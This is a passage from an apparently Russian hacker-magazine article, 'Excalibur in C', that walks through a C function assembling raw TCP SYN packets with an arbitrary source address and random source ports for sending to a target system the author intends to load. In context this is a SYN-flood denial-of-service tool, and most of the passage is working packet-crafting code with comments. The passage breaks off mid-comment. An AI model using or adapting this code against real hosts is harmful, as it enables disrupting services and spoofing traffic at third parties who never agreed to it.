Excalibur на Си Wolf D.A. aka payhash Хакер, номер #091, стр. 091-128-3 Итак, с основными тезисами и понятиями мы разобрались, остается все это собрать в кучу и отправить системе, которую собираемся нагружать. В этом нам поможет функция, которую можно видеть на листинге 2. Она собирает пакет IPv4 и возвращает на него указатель. На вход в нее мы подадим четыре аргумента - это указатель на буфер, в котором будем записывать собранный IPv4 пакет, адрес отправителя, адрес получателя и порт назначения. В этой функции нет ничего особенного – обычное заполнение полей структуры IP/TCP, которые мы рассматривали выше. Листинг №2. Функция для сборки TCP/IP-пакета. static u_char *constructpacket(u_char *inetfragment, struct in_addr srcaddr, struct in_addr dstaddr, u_short dstport) { // tcp/ip заголовки IPHEADER ippkt; // IP-заголовок TCPHEADER tcppkt; // TCP-заголовок PSDHEADER pseudo; // TCP/IP-псевдозаголовок /* Обнуление 60 байт TCP/IP-заголовка */ char tcpip[60]={0}; /* Здесь пишем версию и длину IP-пакета */ ippkt.ip_vhl=(4<<4 | sizeof(ippkt)/sizeof(unsigned long)); ippkt.ip_tos=0; // Приоритет пакета /* Длинна всего IP-пакета плюс tcp */ ippkt.ip_len=htons(sizeof(ippkt)+sizeof(tcppkt)); ippkt.ip_id=1; // id-пакета ippkt.ip_off=0; // смещение ippkt.ip_ttl=128; // время жизни пакета ippkt.ip_p=IPPROTO_TCP; // тип протокола // контрольная сумма пакета (рассчитываем ниже) ippkt.ip_sum=0; ippkt.ip_src=srcaddr; // адрес источника /* адрес получателя, на котором будем создавать нагрузку */ ippkt.ip_dst=dstaddr; /* Теперь заполняем TCP-заголовок*/ /* Порт источника случайный в диапазоне от 0 до 65000. Не *удивляйся - нулевые порты тоже существуют ;))) */ tcppkt.th_sport=htons(rand()%65000); /* Порт назначения (порт, на котором будем создавать нагрузку) */ tcppkt.th_dport=htons(dstport); /* ;) Просто номер пакета, любое число */ tcppkt.th_seq=htonl(0x4655434b); tcppkt.th_ack=0x00000000; tcppkt.th_lenres=(sizeof(tcppkt)/4<<4|0); /* SYN пакет (попытка установить начало сеанса) */ tcppkt.th_flag=2; tcppkt.th_win=htons(512); tcppkt.th_urp=0; /* Контрольная сумма TCP-пакета (рассчитывается ниже) */ tcppkt.th_sum=0; /* Заполнение псевдозаголовка для расчета контрольных сумм *(см. функцию) */ pseudo.saddr=ippkt.ip_src; pseudo.daddr=ippkt.ip_dst; pseudo.zer0=0; pseudo.ptcl=IPPROTO_TCP; pseudo.tcpl=htons(sizeof(tcppkt)); memcpy(tcpip, &pseudo, sizeof(pseudo)); memcpy(tcpip+sizeof(pseudo), &tcppkt, sizeof(tcppkt)); /* Считаем контрольную сумму tcp-заголовка и пишем ip * заголовок в буфер tcpip */ tcppkt.th_sum=in_cksum((USHORT*)tcpip,sizeof(pseudo)+ sizeof(tcppkt)); memcpy(tcpip, &ippkt, sizeof(ippkt)); memcpy(tcpip+sizeof(ippkt), &tcppkt, sizeof(tcppkt)); memset(tcpip+sizeof(ippkt)+sizeof(tcppkt), 0, 4); /* Считаем контрольную сумму IP-заголовка и пишем IP-заголовок * в буфер tcpip */ ippkt.ip_sum=in_cksum((USHORT *)tcpip, sizeof(ippkt)+sizeof(tcppkt)); memcpy(tcpip, &ippkt, sizeof(ippkt)); /* Кладем это все в буфер inetfragment, после чего его же и |